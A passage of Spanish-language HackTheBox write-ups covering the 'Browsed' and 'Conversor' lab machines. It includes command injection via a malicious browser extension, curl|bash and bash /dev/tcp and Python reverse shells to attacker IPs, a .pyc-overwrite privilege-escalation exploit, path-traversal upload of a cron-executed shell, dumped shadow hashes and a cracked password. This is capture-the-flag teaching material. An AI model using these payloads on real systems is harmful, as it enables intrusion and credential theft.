elif [[ "$1" -eq 1 ]]; then
# ... cut ...
elif [[ "$1" -eq 2 ]]; then
# ... cut ...

Esto nos permitiria inyectar comandos a traves de expresiones aritmeticas. Similar a HTB: Eureka.

Local

Ejecutamos la aplicacion localmente modificando las variables del script. Realizamos una solicitud con el payload anterior.

1
2
3

❯ curl -g 'http://localhost:5000/routines/a[$(id)]'
Routine executed !
❯

La aplicacion muestra la ejecucion del comando localmente.

1
2

./routines.sh: line 12: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),126(lpadmin),134(wireshark),136(kaboxer),139(docker),655(nfsgroup),59605603(nfs): arithmetic syntax error in expression (error token is "(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),126(lpadmin),134(wireshark),136(kaboxer),139(docker),655(nfsgroup),59605603(nfs)")
127.0.0.1 - - [10/Jan/2026 21:25:44] "GET /routines/a[$(id)] HTTP/1.1" 200 -

Reverse Shell - Local

Localmente podemos obtener una shell inversa a traves de curl y un servidor http.

# payload
a[$(curl 10.10.15.38|bash)]
# index.html
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
# shell
❯ rlwrap nc -lvp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43972
┌──(kali㉿kali)-[~/htb/browsed/files/MarkdownPreview]
└─$ whoami
whoami
kali

SSRF + Command Injection

Modificamos la extension para realizar solicitudes a la aplicacion vulnerable, agregando el comando id.

async function sendCommand() {    
    const url = `http://localhost:5000/routines/${encodeURIComponent("a[$(id)]")}`;
    try {
        const response = await fetch(url, {method: 'GET'});

        if (!response.ok) { console.error("[-] Failed"); }

        const data = await response.text();
        console.error("Success:", data);

    } catch (error) {
        console.error("Fetch error:", error);        
    }
}

chrome.runtime.onInstalled.addListener(() => {
    console.error("[+] Extension installed");
    sendCommand();
    console.error("[+] End.");
});

Tras subir la extension, este no muestra ningun error, por lo que asumimos que el comando fue ejecutado.

[5762:5780:0111/035817.748820:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost:5000/routines/a%5B%24(id)%5D
[5733:5733:0111/035817.751436:INFO:CONSOLE(59)] "[+] Extension installed", source: chrome-extension://pclibdfccmlncehfjmdibmdaglidkomm/background.js (59)
[5733:5733:0111/035817.755060:INFO:CONSOLE(61)] "[+] End.", source: chrome-extension://pclibdfccmlncehfjmdibmdaglidkomm/background.js (61)
[5733:5733:0111/035817.777083:INFO:CONSOLE(51)] "Success: Routine executed !", source: chrome-extension://pclibdfccmlncehfjmdibmdaglidkomm/background.js (51)

Confirmamos tras enviar curl 10.10.15.38 y recibir una solicitud en nuestro servidor http.

# log
[5872:5872:0111/040137.850244:INFO:CONSOLE(55)] "[+] Extension installed", source: chrome-extension://logdokbmancdenhielhajgkpdmlllmml/background.js (55)
[5872:5872:0111/040137.853897:INFO:CONSOLE(57)] "[+] End.", source: chrome-extension://logdokbmancdenhielhajgkpdmlllmml/background.js (57)
[5901:5932:0111/040137.856581:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost:5000/routines/a%5B%24(curl%2010.10.15.38)%5D
[5901:5932:0111/040137.915247:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/favicon.png
[5901:5932:0111/040137.922019:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/favicon.svg
[5872:5872:0111/040138.047018:INFO:CONSOLE(47)] "Success: Routine executed !", source: chrome-extension://logdokbmancdenhielhajgkpdmlllmml/background.js (47)
# http server
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.4.134 - - [10/Jan/2026 22:01:41] "GET / HTTP/1.1" 200 -

User - www-data

Creamos el archivo index.html con una shell inversa y ejecutamos curl 10.10.15.38|bash con la extension.

1
2
3

❯ cat index.html
bash -i >& /dev/tcp/10.10.15.38/1335 0>&1
❯

Con ello logramos una shell inversa y acceso a user.txt.

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.38] from browsedinternals.htb [10.129.4.134] 46064
bash: cannot set terminal process group (1460): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ whoami;id;pwd
larry
uid=1000(larry) gid=1000(larry) groups=1000(larry)
/home/larry/markdownPreview
larry@browsed:~/markdownPreview$ cd
larry@browsed:~$ ls
markdownPreview
user.txt
larry@browsed:~$ cat user.txt
ebb50b719561737dd83fde869a22bd05
larry@browsed:~$

Privesc

Larry puede ejecutar /opt/extensiontool/extension_tool.py como root.

larry@browsed:~$ sudo -l -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User larry may run the following commands on browsed:

Sudoers entry: /etc/sudoers
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/opt/extensiontool/extension_tool.py
larry@browsed:~$

El script permite crear un archivo ZIP de las extensiones en /opt/extensiontool/extensions/. Asi como cambiar la version y limpiar el directory temporal para estas operaciones. Utiliza las funciones de extension_utils.py para validacion y limpieza.

#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def bump_version(data, path, level='patch'):
    version = data["version"]
    major, minor, patch = map(int, version.split('.'))
    if level == 'major':
        major += 1
        minor = patch = 0
    elif level == 'minor':
        minor += 1
        patch = 0
    else:
        patch += 1

    new_version = f"{major}.{minor}.{patch}"
    data["version"] = new_version

    with open(path, 'w', encoding='utf-8') as f:
        json.dump(data, f, indent=2)
    
    print(f"[+] Version bumped to {new_version}")
    return new_version

def package_extension(source_dir, output_file):
    temp_dir = '/opt/extensiontool/temp'
    if not os.path.exists(temp_dir):
        os.mkdir(temp_dir)
    output_file = os.path.basename(output_file)
    with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf:
        for foldername, subfolders, filenames in os.walk(source_dir):
            for filename in filenames:
                filepath = os.path.join(foldername, filename)
                arcname = os.path.relpath(filepath, source_dir)
                zipf.write(filepath, arcname)
    print(f"[+] Extension packaged as {temp_dir}/{output_file}")

def main():
    parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
    parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
    parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
    parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
    parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
    
    args = parser.parse_args()

    if args.clean:
        clean_temp_files(args.clean)

    args.ext = os.path.basename(args.ext)
    if not (args.ext in os.listdir(EXTENSION_DIR)):
        print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
        exit(1)
    
    extension_path = os.path.join(EXTENSION_DIR, args.ext)
    manifest_path = os.path.join(extension_path, 'manifest.json')

    manifest_data = validate_manifest(manifest_path)
    
    # Possibly bump version
    if (args.bump):
        bump_version(manifest_data, manifest_path, args.bump)
    else:
        print('[-] Skipping version bumping')

    # Package the extension
    if (args.zip):
        package_extension(extension_path, args.zip)
    else:
        print('[-] Skipping packaging')


if __name__ == '__main__':
    main()

import os
import json
import subprocess
import shutil
from jsonschema import validate, ValidationError

# Simple manifest schema that we'll validate
MANIFEST_SCHEMA = {
    "type": "object",
    "properties": {
        "manifest_version": {"type": "number"},
        "name": {"type": "string"},
        "version": {"type": "string"},
        "permissions": {"type": "array", "items": {"type": "string"}},
    },
    "required": ["manifest_version", "name", "version"]
}

# --- Manifest validate ---
def validate_manifest(path):
    with open(path, 'r', encoding='utf-8') as f:
        data = json.load(f)
    try:
        validate(instance=data, schema=MANIFEST_SCHEMA)
        print("[+] Manifest is valid.")
        return data
    except ValidationError as e:
        print("[x] Manifest validation error:")
        print(e.message)
        exit(1)

# --- Clean Temporary Files ---
def clean_temp_files(extension_dir):
    """ Clean up temporary files or unnecessary directories after packaging """
    temp_dir = '/opt/extensiontool/temp'

    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up temporary directory {temp_dir}")
    else:
        print("[+] No temporary files to clean.")
    exit(0)

Observamos que al indicar la extension y el nombre del archivo zip se crea este en /opt/extensiontool/temp/.

larry@browsed:/opt/extensiontool/extensions/Timer$ sudo /opt/extensiontool/extension_tool.py --ext Timer --zip test.zip
[+] Manifest is valid.
[-] Skipping version bumping
[+] Extension packaged as /opt/extensiontool/temp/test.zip
larry@browsed:/opt/extensiontool/extensions/Timer$ ls -lah /opt/extensiontool/temp/
total 12K
drwxr-xr-x 2 root root 4.0K Jan 11 04:32 .
drwxr-xr-x 5 root root 4.0K Jan 11 04:32 ..
-rw-r--r-- 1 root root 1.4K Jan 11 04:32 test.zip
larry@browsed:/opt/extensiontool/extensions/Timer$ file /opt/extensiontool/temp/test.zip
/opt/extensiontool/temp/test.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
larry@browsed:/opt/extensiontool/extensions/Timer$

Nuestro usuario no puede escribir en ningun archivo que pertenezca a este script. Sin embargo, puede realizar la escritura en __pycache__.

larry@browsed:/$ ls -lah /opt/extensiontool/
total 24K
drwxr-xr-x 4 root root 4.0K Jan 11 05:41 .
drwxr-xr-x 4 root root 4.0K Aug 17 12:55 ..
drwxrwxr-x 5 root root 4.0K Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2.7K Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1.3K Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4.0K Jan 11 05:40 __pycache__
larry@browsed:/$ ls -lah /opt/extensiontool/__pycache__/
total 12K
drwxrwxrwx 2 root root 4.0K Jan 11 05:40 .
drwxr-xr-x 4 root root 4.0K Jan 11 05:41 ..
-rw-r--r-- 1 root root 1.9K Jan 11 05:40 extension_utils.cpython-312.pyc
larry@browsed:/$

Code Execution via PYC Files

En Python si se importa un modulo, verifica que este exista, luego, verifica el bytecode compilado (.pyc) de ese modulo, si existe, verifica que el magic number y timestamp coicidan con el archivo fuente o .py, de ser asi se carga este ‘modulo compilado’ (pep-3147 - 1). .pyc hace que cargar el modulo se mas rapido (pep-3147 - 2).

La estrucutra de un archivo Python Bytecode se muestra de la siguiente forma:

Bytes 0 a 3 contienen el magic number para diferenciar la version de Python que se utilizo para generar el archivo.
Bytes 4 a 7 bit field, contiene 4 null bytes.
Bytes 8 a 11, el timestamp del archivo fuente, la fecha de modificacion.
Bytes 12 a 15, el tamano del archivo fuente

Ref. Python Dirty Arbitrary File Write …, Python bytecode analysis (1)

Al ejecutar el script (extension_tool.py) este siempre valida el archivo manifest.json, la funcion proviene del ‘modulo’ extension_utils.py. Al tener acceso a __pycache__/ de este script es posible sobreescribir el archivo .pyc para que extension_tool.py tome y ejecute codigo modificado, en este caso el bytecode compilado extension_utils.cpython-312.pyc.

Exploit

Escribimos un script que crea un archivo .pyc en base al archivo original. Inicialmente, se obtienen los valores del header, luego el bytecode de la nueva funcion objetivo en este caso validate_manifest() ejecutando whoami > /dev/shm/whoami.txt, finalmente se elimina el archivo original y se escribe uno nuevo.

import struct
import time
import marshal
import os

ORIGINAL_PYC = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
FIELD_SIZE = 4

def codeRCE():

    def validate_manifest():
        import os
        os.system("whoami > /dev/shm/whoami.txt")
        print("PWN!")
        exit(1)
    # ByteCode of the function
    return validate_manifest.__code__


def readHeaders():
    headers = []
    with open(ORIGINAL_PYC, "rb") as f:
        pyc_file = f.read()
        headers_original = pyc_file[0:16]
        headers = [headers_original[i:i + FIELD_SIZE] for i in range(0, len(headers_original), FIELD_SIZE)]
    return headers

def modifyBytecode():
    # magic number, bit field, modification date, source file size
    headers = readHeaders()

    magicNumber = headers[0]
    bitField = headers[1]
    timestamp = time.asctime(time.localtime(struct.unpack("<I", headers[2])[0]))
    sourceFileSize = struct.unpack("<I", headers[3])[0]
    
    print(f'[+] Original PYC File Information')
    print(f'[*] Magic number: {magicNumber}')
    print(f'[*] Bit field: {bitField}')
    print(f'[*] Source modification time: {timestamp}')
    print(f'[*] Source file size: {sourceFileSize}')

    codeObject = codeRCE()
    codeBytes = marshal.dumps(codeObject)
	
    newBytecode = magicNumber + bitField + headers[2] + headers[3] + codeBytes
	
    print(f'[+] Deleting Original PYC File ...')
    os.remove(ORIGINAL_PYC)

    print(f'[+] Writing new PYC File ...')

    with open(ORIGINAL_PYC, "wb") as f:
        f.write(newBytecode)
	
    h = readHeaders()	
    print(f'[*] Magic number: {h[0]}')
    print(f'[*] Bit field: {h[1]}')
    print(f'[*] Source modification time: {time.asctime(time.localtime(struct.unpack("<I", h[2])[0]))}')
    print(f'[*] Source file size: {struct.unpack("<I", h[3])[0]}')
    print(f'[+] Done!')


if __name__ == '__main__':
    print('[*] Modifying the bytecode ...')
    modifyBytecode()
    print('[*] Execute extension_tool.py.')

Para que el script funcione ejecutamos extension_tool.py esto crearia el archivo extension_utils.cpython-312.pyc.

larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py --ext Timer
[+] Manifest is valid.
[-] Skipping version bumping
[-] Skipping packaging
larry@browsed:/opt/extensiontool$

Ejecutamos el exploit, creando un nuevo archivo pyc.

larry@browsed:/dev/shm$ python3 exploit.py 
[*] Modifying the bytecode ...
[+] Original PYC File Information
[*] Magic number: b'\xcb\r\r\n'
[*] Bit field: b'\x00\x00\x00\x00'
[*] Source modification time: Sun Mar 23 10:56:19 2025
[*] Source file size: 1245
[+] Deleting Original PYC File ...
[+] Writing new PYC File ...
[*] Magic number: b'\xcb\r\r\n'
[*] Bit field: b'\x00\x00\x00\x00'
[*] Source modification time: Sun Mar 23 10:56:19 2025
[*] Source file size: 1245
[+] Done!
[*] Execute extension_tool.py.
larry@browsed:/dev/shm$

Nuevamente ejecutamos extension_tool.py donde observamos que el codigo se cargo y ejecuto.

larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py --ext Timer
PWN!
larry@browsed:/opt/extensiontool$ cat /dev/shm/whoami.txt 
root
larry@browsed:/opt/extensiontool$

Shell

Modificamos el exploit para realizar una copia de bash con permisos suid.

def codeRCE():

    def validate_manifest():
        import os
        os.system("cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc")
        print("PWN!")
        exit(1)

    return validate_manifest.__code__

Tras la ejecucion, logramos acceder a una shell root y la flag root.txt.

larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py --ext Timer
PWN!
larry@browsed:/opt/extensiontool$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.4M Feb  3 06:14 /usr/bin/sc
larry@browsed:/opt/extensiontool$ /usr/bin/sc -p
sc-5.2# whoami
root
sc-5.2# cat /root/root.txt
e426887d0f5baf1585b8fab534d464ab
sc-5.2#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

sc-5.2# cat /etc/shadow
root:$y$j9T$wXISIzb3EFHkpdXvsI01S.$7THiBdiDsTxmiImcIsYzzKyh3WxVeXd2F25m4xQGMD/:20317:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20317::::::
sshd:!:20317::::::
larry:$y$j9T$7TMEcG9b0YPRMveUtoEgT/$VQx//iROmISMIDWdddYqhUGDezXhlM1ki0pnUij1rUB:20317:0:99999:7:::
git:!:20317::::::
mysql:!:20317::::::
_laurel:!:20451::::::
sc-5.2#

HackTheBox - Conversor

sckull — Sat, 21 Mar 2026 00:00:00 +0000

Conversor ofrece una solucion para reportes nmap. El codigo fuente es expuesto por la aplicacion web, donde descubrimos vulnerabilidades Path Traversal y Arbitrary File Write, asi como la ejecucion de un cronjob que nos permitio acceso inicial. Encontramos credenciales en la base de datos de la aplicacion logrando cambiar a un nuevo usuario. Este ultimo puede ejecutar como root un script vulnerable el cual nos ayudo escalar privilegios.

Nombre	Conversor
OS	Linux
Puntos	20
Dificultad	Easy
Fecha de Salida	2025-10-25
IP	10.10.11.90
Maker	FisMatHack
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [1095, 1172, 3578, 2468, 868, 323, 226, 68, 17, 106], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

# Nmap 7.95 scan initiated Sat Oct 25 14:45:38 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.92
Nmap scan report for 10.10.11.92
Host is up (0.086s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 25 14:45:48 2025 -- 1 IP address (1 host up) scanned in 9.94 seconds

Web Site

El sitio web nos redirige al dominio conversor.htb el cual agregamos al archivo /etc/hosts.

❯ curl -sI 10.10.11.92
HTTP/1.1 301 Moved Permanently
Date: Sat, 25 Oct 2025 20:47:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://conversor.htb/
Content-Type: text/html; charset=iso-8859-1

❯

El sitio muestra dos formularios para login y registro.

Tras registrar un usuario y autenticarse, el sitio muestra un conversor de reportes de nmap en xml.

En about encontramos un enlace para el codigo del paquete utilizado por el sitio.

Conversor

Ejecutamos un escaneo en nmap con salida xml y tomamos la plantilla. Tras subir ambos archivos se muestra la informacion en html.

Conversor

Descargamos y extrajimos el codigo. Se muestra codigo de una aplicacion web escrita en python.

❯ wget -q http://conversor.htb/static/source_code.tar.gz
❯ sha256sum source_code.tar.gz
8ca110c71f670e0f8b5eb7660cb6d0767373a45cd55d652de4676d4edd69e046  source_code.tar.gz
❯ tar -xvf source_code.tar.gz
app.py
app.wsgi
install.md
instance/
instance/users.db
scripts/
static/
static/images/
static/images/david.png
static/images/fismathack.png
static/images/arturo.png
static/nmap.xslt
static/style.css
templates/
templates/register.html
templates/about.html
templates/index.html
templates/login.html
templates/base.html
templates/result.html
uploads/
❯

Source Code

En el codigo se muestra el directorio para la base de datos sqlite /var/www/conversor.htb/instance/users.db.

from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid

app = Flask(__name__)
app.secret_key = 'Changemeplease'

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def init_db():
    os.makedirs(os.path.join(BASE_DIR, 'instance'), exist_ok=True)
    conn = sqlite3.connect(DB_PATH)
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    )''')
    c.execute('''CREATE TABLE IF NOT EXISTS files (
        id TEXT PRIMARY KEY,
        user_id INTEGER,
        filename TEXT,
        FOREIGN KEY(user_id) REFERENCES users(id)
    )''')
    conn.commit()
    conn.close()

init_db()

def get_db():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    return conn

@app.route('/')
def index():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE user_id=?", (session['user_id'],))
    files = cur.fetchall()
    conn.close()
    return render_template('index.html', files=files)

@app.route('/register', methods=['GET','POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        try:
            conn.execute("INSERT INTO users (username,password) VALUES (?,?)", (username,password))
            conn.commit()
            conn.close()
            return redirect(url_for('login'))
        except sqlite3.IntegrityError:
            conn.close()
            return "Username already exists"
    return render_template('register.html')
@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('login'))


@app.route('/about')
def about():
 return render_template('about.html')

@app.route('/login', methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        cur = conn.cursor()
        cur.execute("SELECT * FROM users WHERE username=? AND password=?", (username,password))
        user = cur.fetchone()
        conn.close()
        if user:
            session['user_id'] = user['id']
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials"
    return render_template('login.html')


@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

@app.route('/view/<file_id>')
def view_file(file_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE id=? AND user_id=?", (file_id, session['user_id']))
    file = cur.fetchone()
    conn.close()
    if file:
        return send_from_directory(UPLOAD_FOLDER, file['filename'])
    return "File not found"

Path Traversal / Arbitrary File Write

La ruta /convert permite subir sin validar el nombre del archivo. Esto permitiria el uso de ../ (Path Traversal) en el nombre del archivo lo que permite escribir archivos fuera del directorio uploads/. Es decir, si el archivo tuviera el nombre ../../folder/name/file.ext, este crearia el archivo en esa direccion, esto indicaria una vulnerabilidad Arbitrary File Write.

# [... cut ..]

UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')

# [... cut ..]

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

# [... cut ...]

Cronjob

En el archivo install.md se indica que existe un cronjob que ejecuta archivos .py cada minuto en el directorio /var/www/conversor.htb/scripts/.

❯ cat install.md
# [... cut ...]

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
❯

User - www-data

Creamos un archivo python con una shell inversa.

❯ cat sh.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.3",1339));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("sh")
❯

Nuestro objetivo es subir el archivo a /var/www/conversor.htb/scripts/ donde el cronjob lo ejecutaria, esto lo logramos en la subida de archivos xml y/o xslt. Como nombre de archivo en cualquiera de los dos archivos indicamos ../scripts/sh.py.

POST /convert HTTP/1.1
Host: conversor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary993e7647285f9581b6625af8c5654ac7
Content-Length: 732
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJzY2t1bGwifQ.aP031g.ifkzp4JiuH9SGRbXNmBgofGYWU8
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary993e7647285f9581b6625af8c5654ac7
Content-Disposition: form-data; name="xml_file"; filename="xmlfile.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
<files>
  <file path="/nothing/to/see/here">just text for xml</file>
</files>

------geckoformboundary993e7647285f9581b6625af8c5654ac7
Content-Disposition: form-data; name="xslt_file"; filename="../scripts/sh.py"
Content-Type: application/octet-stream

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.3",1339));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("sh")
------geckoformboundary993e7647285f9581b6625af8c5654ac7--


HTTP/1.1 200 OK
Date: Sat, 25 Oct 2025 21:47:59 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 74

Error: Start tag expected, '<' not found, line 1, column 1 (sh.py, line 1)

Shell

Luego de unos segundos nuestra shell es ejecutada y logramos acceso con www-data.

❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
connect to [10.10.14.3] from conversor.htb [10.10.11.92] 49814
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www
$

Database

Encontramos la base de datos de la aplicacion donde listamos el hash del usuario fismathack.

$ ls -lah
total 32K
drwxr-x--- 2 www-data www-data 4.0K Oct 25 21:49 .
drwxr-x--- 8 www-data www-data 4.0K Oct 25 20:35 ..
-rwxr-x--- 1 www-data www-data  24K Oct 25 21:49 users.db
$ which sqlite3
/usr/bin/sqlite3
$ sqlite3
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open users.db
sqlite> .tables
files  users
sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
[.. cut ..]
15|sckull|9e8694e99216221dad8f6fd183904504
sqlite>

crackstation muestra el valor en texto plano.

Hash	Type	Result
`5b5c3ac3a1c897c94caad48e6c71fdec`	md5	Keepmesafeandwarm

User - fismathack

Este usuario existe en la maquina, cambiamos a este con la contrasena anterior logrando leer la flag user.txt.

$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
$ su fismathack
Password: Keepmesafeandwarm
fismathack@conversor:/var/www/conversor.htb/instance$ whoami;id
